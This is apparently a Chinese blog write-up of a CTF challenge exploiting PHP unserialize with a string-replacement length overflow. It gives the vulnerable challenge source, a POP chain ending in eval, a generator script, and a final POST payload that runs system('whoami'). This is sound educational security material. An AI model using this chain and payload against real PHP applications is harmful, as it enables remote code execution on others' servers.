当前位置: 首页 > news >正文

记一次简单的PHP反序列化字符串溢出

今天朋友给的一道题,让我看看,来源不知,随手记一下

<?php
// where is flag
error_reporting(0);
class NFCTF{                                     public $ming,$id,$payload,$nothing;function __construct($iii){$this->ming=$iii;}function __wakeup(){                        if($this->id==="NFCTF"){   $tmp = base64_decode($this->payload);        $this->nothing=unserialize($tmp);}else{die("you nonono!!!");}}
}
class xiaohuolong{public $x;                        function heeko(){echo "heeko";}function __toString(){$this->x->nice();              }
}
class kabishou{public $m;public $y;public $h;function __wakeup(){        $this->setm();}function setm(){$this->_m = ""; }function __destruct(){          $this->y=$this->h;          die($this->m);              }
}
class jienigui{public $pay;                    function nice(){eval($this->pay);           }
}
$cmd=$_POST["cmd"];
if(isset($cmd))
{$newdata=serialize(new NFCTF($cmd));                             $redata=str_replace("add","addd",$newdata);            unserialize($redata);                                     
}else{highlight_file(__FILE__);
}

首先是触发到eval($this->pay);的链子,很简单

jienigui::nice() <- xiaohuolong::__toString() <- kabishou::__destruct() 
<?php 
class xiaohuolong{public $x;                        function heeko(){echo "heeko";}function __toString(){$this->x->nice();              }
}
class kabishou{public $m;public $y;public $h;function __wakeup(){        $this->setm();}function setm(){$this->_m = ""; }function __destruct(){          $this->y=$this->h;          die($this->m);              }
}
class jienigui{public $pay;                    function nice(){eval($this->pay);           }
}$jienigui = new jienigui();
$jienigui -> pay = "system('whoami');";
$xiaohuolong = new xiaohuolong();
$xiaohuolong -> x = $jienigui;
$kabishou = new kabishou();
$kabishou -> m = $xiaohuolong;
echo base64_encode(serialize($kabishou))."\n";
PS C:\Users\Administrator\Downloads> php .\test.php
Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9
mochu7\administrator
PS C:\Users\Administrator\Downloads>

然后就是将Base64编码后的这条链的序列化字符串,赋值给$this->payload,使其在NFCTF::__wakeup()触发反序列化,然后NFCTF这个类,传参可控的是属性是$this->ming,替换规则是每出现一个add就替换为addd,长度变化为+1

把Base64的payload放进去,$this->id设置好,参考序列化的之后的字符串更直观

<?php 
class NFCTF{                                     public $ming,$id,$payload,$nothing;function __construct($iii){$this->ming=$iii;}function __wakeup(){                        if($this->id==="NFCTF"){$tmp = base64_decode($this->payload);        $this->nothing=unserialize($tmp);}else{die("you nonono!!!");}}
}
class xiaohuolong{public $x;                        function heeko(){echo "heeko";}function __toString(){$this->x->nice();              }
}
class kabishou{public $m;public $y;public $h;function __wakeup(){        $this->setm();}function setm(){$this->_m = ""; }function __destruct(){          $this->y=$this->h;          die($this->m);              }
}
class jienigui{public $pay;                    function nice(){eval($this->pay);           }
}
$NFCTF = new NFCTF('mochu7');
$NFCTF -> id = "NFCTF";
$NFCTF -> payload = "Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";
echo serialize($NFCTF);
// O:5:"NFCTF":4:{s:4:"ming";s:6:"mochu7";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

我们要控制注入进去的对象属性是$this->id$this->payload,也就是后面选中的这长度为239的字符串,包含开头的";,因为需要闭合$this->ming的内容格式才能被正确反序列化的。

在这里插入图片描述

明确了需要注入的payload长度为239,就可以设置替换字符为'add'*239,经过str_replace("add","addd",$newdata);就是'addd'*239,长度变化为+239,正好可以将后面这串 payload 挤出$this->ming的内容范围。如下图所示:

在这里插入图片描述

所示执行system("whoami")的命令的payload最终payload如下

cmd=addaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddadd";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

即你需要注入的payload长度为多少,就构造能溢出多少长度的替换字符串。

在这里插入图片描述

相关文章:

记一次简单的PHP反序列化字符串溢出

今天朋友给的一道题&#xff0c;让我看看&#xff0c;来源不知&#xff0c;随手记一下 <?php // where is flag error_reporting(0); class NFCTF{ public $ming,$id,$payload,$nothing;function __construct($iii){$this->ming$ii…...

找工作面试技巧

问题描述&#xff1a;找工作时&#xff0c;不知道如何回答问题怎么办。 问题解决&#xff1a;可以尝试使用STAT原则来回答问题。具体如下。 "STAR" 原则是一种常用于回答面试问题的方法&#xff0c;特别是在描述个人经验、解决问题或展示技能和能力时。"STAR&q…...

Jackson无缝替换Fastjson

目录 文章目录 一&#xff0c;Fastjson到Jackson的替换方案方案代码序列化反序列化通过key获取某种类型的值类型替换 二&#xff0c;Springboot工程中序列化的使用场景三&#xff0c;SpringMVC框架中的Http消息转换器1&#xff0c;原理&#xff1a;2&#xff0c;自定义消息转换…...

JVM 内存分析工具 MAT及实践

线程分析工具 MAT 官网下载地址&#xff1a;http://www.eclipse.org/mat/downloads.php mat百度网盘链接&#xff1a;&#xff08;速度更快&#xff09; 链接&#xff1a;https://pan.baidu.com/s/1tMp8MQIXuPtg9zBgruO0Ug?pwdjqtv 提取码&#xff1a;jqtv jdk17 百度网盘链接…...

jupyter notebook 不知道密码,怎么登录解决办法

jupyter notebook 不知道密码&#xff0c;怎么登录解决办法 1、 windows下&#xff0c;打开命令行&#xff0c;输入jupyter notebook list &#xff1a; C:\Users\tom>jupyter notebook list Currently running servers: http://localhost:8888/?tokenee8bb2c28a89c8a24d…...

软著项目推荐 深度学习中文汉字识别

文章目录 0 前言1 数据集合2 网络构建3 模型训练4 模型性能评估5 文字预测6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 深度学习中文汉字识别 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xf…...

WEB渗透—反序列化(七)

Web渗透—反序列化 课程学习分享&#xff08;课程非本人制作&#xff0c;仅提供学习分享&#xff09; 靶场下载地址&#xff1a;GitHub - mcc0624/php_ser_Class: php反序列化靶场课程&#xff0c;基于课程制作的靶场 课程地址&#xff1a;PHP反序列化漏洞学习_哔哩哔_…...

牛客网刷题笔记四 链表节点k个一组翻转

NC50 链表中的节点每k个一组翻转 题目&#xff1a; 思路&#xff1a; 这种题目比较习惯现在草稿本涂涂画画链表处理过程。整体思路是赋值新的链表&#xff0c;用游离指针遍历原始链表进行翻转操作&#xff0c;当游离个数等于k时&#xff0c;就将翻转后的链表接到新的链表后&am…...

【数据结构】图<简单认识图>

对于下面的内容&#xff0c;大家着重观察和理解图即可&#xff0c;可以直接绕过一些文字性的概念&#xff0c;对图有一个大概的认识。 图 简单认识图图的定义有向图和无向图完全图无向完全图有向完全图 图的基本存储结构邻接矩阵存储邻接矩阵的优点 网络的邻接矩阵邻接表无向图…...

Git介绍和基础命令解析

Git基本操作指令 工作区和暂存区 Git管理的文件分为&#xff1a;工作区(本地的文件夹)&#xff0c;版本库(.git文件夹)&#xff0c;版本库又分为暂存区stage和暂存区分支master(仓库) 工作区>>>>暂存区>>>>仓库 git add把文件从工作区>>>…...

力扣hot100 和为 K 的子数组 前缀和

&#x1f468;‍&#x1f3eb; 题目地址 &#x1f37b; AC code class Solution {public int subarraySum(int[] nums, int k){int ans 0;int n nums.length;int[] s new int[n 1];// 前缀和s[0] 0;s[1] nums[0];for (int i 2; i < n; i)s[i] s[i - 1] nums[i - 1…...

6.12找树左下角的值(LC513-M)

算法&#xff1a; 这道题适合用迭代法&#xff0c;层序遍历&#xff1a;按层遍历&#xff0c;每次把每层最左边的值保存、更新到result里面。 看看Java怎么实现层序遍历的&#xff08;用队列&#xff09;&#xff1a; /*** Definition for a binary tree node.* public clas…...

【精选】框架初探篇之——MyBatis的CRUD及配置文件

MyBatis增删改查 MyBatis新增 新增用户 持久层接口添加方法 void add(User user);映射文件添加标签 <insert id"add" parameterType"com.mybatis.pojo.User">insert into user(username,sex,address) values(# {username},# {sex},# {address}) <…...

ES8语法async与await

async和await两种语法结合可以让异步代码像同步代码一样。 一、async函数 async函数的返回值为Promise对象promise对象的结果由async函数执行的返回值决定 async function fn() {// 返回一个字符串return 字符串&#xff1b;// 返回的结果不是一个Promise类型的对象&#xf…...

c#处理SQLSERVER 中image数量类型为空

项目场景&#xff1a; DataRow dataRow dataTable.Rows[i]; var pxpicture dataRow ["pxImage"];if (pxpicture!null){byte[] pic (byte[])pxpicture;acs.Add("pxpicture", Convert.ToBase64String(pic));}问题描述 代码执行出现错误&#xff1a; 无…...

五子棋游戏

import pygame #导入pygame模块 pygame.init()#初始化 screen pygame.display.set_mode((750,750))#设置游戏屏幕大小 running True#建立一个事件 while running:#事件运行for event in pygame.event.get():if event.type pygame.QUIT:#当点击事件后退出running False #事…...

vue+SpringBoot的图片上传

前端VUE的代码实现 直接粘贴过来element-UI的组件实现 <el-uploadclass"avatar-uploader"action"/uploadAvatar" //这个action的值是服务端的路径&#xff0c;其他不用改:show-file-list"false":on-success"handleAvatarSuccess"…...

FFmepg 核心开发库及重要数据结构与API

文章目录 前言一、FFmpeg 核心开发库二、FFmpeg 重要数据结构与 API1、简介2、FFmpeg 解码流程①、FFmpeg2.x 解码流程②、FFmpeg4.x 解码流程 3、FFMpeg 中比较重要的函数以及数据结构①、数据结构②、初始化函数③、音视频解码函数④、文件操作⑤、其他函数 三、FFmpeg 流程1…...

训练 CNN 对 CIFAR-10 数据中的图像进行分类

1. 加载 CIFAR-10 数据库 import keras from keras.datasets import cifar10# 加载预先处理的训练数据和测试数据 (x_train, y_train), (x_test, y_test) cifar10.load_data() 2. 可视化前 24 个训练图像 import numpy as np import matplotlib.pyplot as plt %matplotlib …...

香港科技大学广州|智能制造学域博士招生宣讲会—天津大学专场

时间&#xff1a;2023年12月07日&#xff08;星期四&#xff09;15:30 地点&#xff1a;天津大学卫津路校区26楼B112 报名链接&#xff1a;https://www.wjx.top/vm/mmukLPC.aspx# 宣讲嘉宾&#xff1a; 汤凯教授 学域主任 https://facultyprofiles.hkust-gz.edu.cn/faculty-p…...

像素幻梦惊艳案例:FLUX.1-dev生成符合PICO-8硬件限制的像素程序截图

像素幻梦惊艳案例&#xff1a;FLUX.1-dev生成符合PICO-8硬件限制的像素程序截图 1. 像素艺术的新纪元 在复古游戏复兴的浪潮中&#xff0c;像素艺术正迎来它的第二次黄金时代。而FLUX.1-dev模型的出现&#xff0c;为这种经典艺术形式注入了全新的活力。今天我们要展示的&…...

OpenClaw会议纪要助手:Qwen3-14b_int4_awq自动生成会议摘要

OpenClaw会议纪要助手&#xff1a;Qwen3-14b_int4_awq自动生成会议摘要 1. 为什么需要自动化会议纪要 每次开完会最头疼的就是整理会议纪要。作为技术负责人&#xff0c;我每周要参加至少5场会议&#xff0c;从需求评审到技术方案讨论&#xff0c;经常一场会下来精疲力尽&…...

Win11Debloat:Windows系统终极精简优化完整指南

Win11Debloat&#xff1a;Windows系统终极精简优化完整指南 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declutter and customiz…...

OpenClaw极简部署方案:Qwen3-14b_int4_awq最小化依赖安装

OpenClaw极简部署方案&#xff1a;Qwen3-14b_int4_awq最小化依赖安装 1. 为什么需要极简部署 上周我在本地尝试部署OpenClaw时&#xff0c;被默认安装的庞大依赖项震惊了——光是Python包就装了近200MB&#xff0c;还自动启用了十几个我根本用不到的技能模块。这种"全家…...

OpenClaw节能模式:让SecGPT-14B在笔记本上流畅运行的配置

OpenClaw节能模式&#xff1a;让SecGPT-14B在笔记本上流畅运行的配置 1. 为什么需要节能模式&#xff1f; 去年冬天&#xff0c;我的MacBook Pro在运行SecGPT-14B时发烫到可以当暖手宝的程度&#xff0c;续航时间从8小时骤降到不足90分钟。这促使我开始研究OpenClaw的节能配置…...

3个突破式方法破解NCM加密:让音乐收藏在全设备自由流转

3个突破式方法破解NCM加密&#xff1a;让音乐收藏在全设备自由流转 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 当你精心收藏的网易云音乐下载到本地却发现是无法播放的NCM格式&#xff0c;当车载音响无法识别手机里的加密音乐文…...

如何分析AWR中的Top SQL_通过执行次数与物理读定位低效查询

Top SQL中Executions与Physical Reads需结合分析&#xff1a;执行次数多但物理读低可能暴露应用逻辑缺陷&#xff0c;物理读/执行>1000在OLTP中属异常&#xff0c;需结合执行计划、对象访问、缓存命中率等综合判断根因。怎么看 Top SQL 里的执行次数和物理读是否异常awr 报告…...

OpenClaw二次开发:为Qwen3.5-9B增加区域截图分析

OpenClaw二次开发&#xff1a;为Qwen3.5-9B增加区域截图分析 1. 为什么需要区域截图分析功能 上周我需要处理一个重复性工作——每天从几十张监控截图中提取特定区域的文字信息。现有的全屏截图大模型分析方案存在三个明显痛点&#xff1a; 无效信息干扰&#xff1a;全屏截图…...

QY-DG800E实训台玩转PLC:一个按钮实现电机正反转的几种编程思路

QY-DG800E实训台玩转PLC&#xff1a;一个按钮实现电机正反转的几种编程思路 在工业自动化控制领域&#xff0c;电机正反转控制是最基础也最经典的应用场景之一。传统的继电器控制电路通常需要两个独立按钮分别控制正转和反转&#xff0c;但在实际工程中&#xff0c;我们常常会遇…...

利用json-to-ts工具进行转换,放置在typeScript.ts文件中

后端&#xff0c;返回了 100 个字段&#xff0c;现在拿到的那 100 个字段里&#xff0c;里面还有那种深层嵌套的“对象套对象”&#xff0c;利用json-to-ts工具进行转换&#xff0c;然后前端定义后端的response这个返回对象&#xff0c;要怎么定义&#xff0c;是不是要把没有用…...